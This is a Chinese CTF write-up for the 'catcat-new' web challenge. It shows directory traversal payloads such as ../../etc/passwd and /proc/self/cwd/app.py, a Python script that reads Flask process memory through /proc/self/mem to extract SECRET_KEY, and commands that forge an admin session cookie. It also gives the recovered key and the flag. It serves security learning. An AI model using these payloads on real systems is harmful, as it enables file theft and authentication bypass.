攻防世界web--catcat-new

攻防世界web--catcat-new


【难度】:2

【考点】:文件包含、敏感目录、session伪造

【思路】:通过url判断为文件包含漏洞,读取敏感目录获取到app.py,代码审计出session条件判定相关的信息后进行伪造session读取flag。

【详解】:

进入题目网页,可以看到很多猫,随便点点没发现啥。

使用dirsearch目录扫面,发现存在/admin可访问,访问显示nonono。


在这里短暂的卡了会,在点击猫跳转后发现url会发生变化,这有个很明显的文件包含:http://61.147.171.105:58466/info?file=Egyptiancat.txt
尝试访问etc/passwd:http://61.147.171.105:58466/info?file=../../../../../../etc/passwd,成功,说明确实是文件包含漏洞。

/etc/passwd:linux系统保存用户信息及其工作目录的文件,权限是所有用户可读,一般被作为linux下文件读取漏洞存在的判断依据。读到这个文件就可以知道系统又哪些用户、他们属于哪个组、工作目录是什么。



接下来继续尝试访问一些敏感目录,?file=../../../../../proc/self/cmdline

/proc/[pid]/cmdline:指向该进程对应的终端命令。



可以该进程曾运行了app.py,说明存在有app.py。访问它:?file=../../../../../proc/self/cwd/app.py

/proc/[pid]/cwd:指向该进程的运行目录。



将app.py格式化后进行代码审计。。。

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
    __name__,
    static_url_path='/', 
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])
    
    return render_template("index.html", cats_list=cats_list, cat=cat)

@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
    
    return render_template("detail.html", catname=name, info=cat(filename, start, end))

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)



发现/admin的条件判定:

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"

当session中admin=1时可以读取flag,admin=0时则返回nonono,这正是我们刚刚访问admin时的回显内容。那我们便需要伪造session使admin为1.


但是要进行session伪造,我们需要知道session的密钥。没找到什么关于密钥的信息,止步于此了。orz。。去看了看WP:

python存储对象的位置在堆上,app是个Flask对象,而secret key在app.config[‘SECRET_KEY’],可以通过读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY

但是/proc/self/mem不可直接读取,因为存在一些不可读的未被映射部分。因此需要读取/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值



读取?file=../../../../proc/proc/self/maps,并将其中的内容存储到text.txt中,使用大佬的脚本orz:

import re
import requests
 
maps = open('text.txt')  # 打开名为 'text.txt' 的文件并赋值给变量 maps
b = maps.read()  # 读取文件内容并赋值给变量 b
lst = b.split('\\n')  # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。
 
for line in lst:  # 遍历列表 lst 中的每一行内容
    if 'rw' in line:  # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line)  # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中
        start = int(addr.group(1), 16)  # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 start
        end = int(addr.group(2), 16)  # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 end
        print(start, end)  # 打印起始地址和结束地址
 
        # 构造请求URL,用于读取 /proc/self/mem 文件的特定区域
        url = f"http://61.147.171.105:58466//info?file=../../../proc/self/mem&start={start}&end={end}"
        
        # 发送 GET 请求并获取响应
        response = requests.get(url)
        
        # 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEY
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)
        
        # 如果找到了 SECRET_KEY,则打印并结束循环
        if secret_key:
            print(secret_key)
            break

得到密钥值:8a8ec6a243b14dbea887b7efb052a3ce*abcdefgh



接下来进行session伪造,使用工具:flask-session-cookie-manager

解密格式:python3 flask_session_cookie_manager3.py decode -s "密钥值“ -c "session"
加密格式:python3 flask_session_cookie_manager3.py encode -s "密钥值“ -t "需要加密的内容”

在/admin界面抓包,我们可以解密一下它的session:

可以看到它的admin确实为0,接下来我们伪造admin=1进行加密:

在burp中修改session为伪造后的新session并发送,可以看到flag。

flag:catctf{Catch_the_c4t_HaHa}

posted @ 2025-05-07 12:48  埃克斯X  阅读(119)  评论(0)    收藏  举报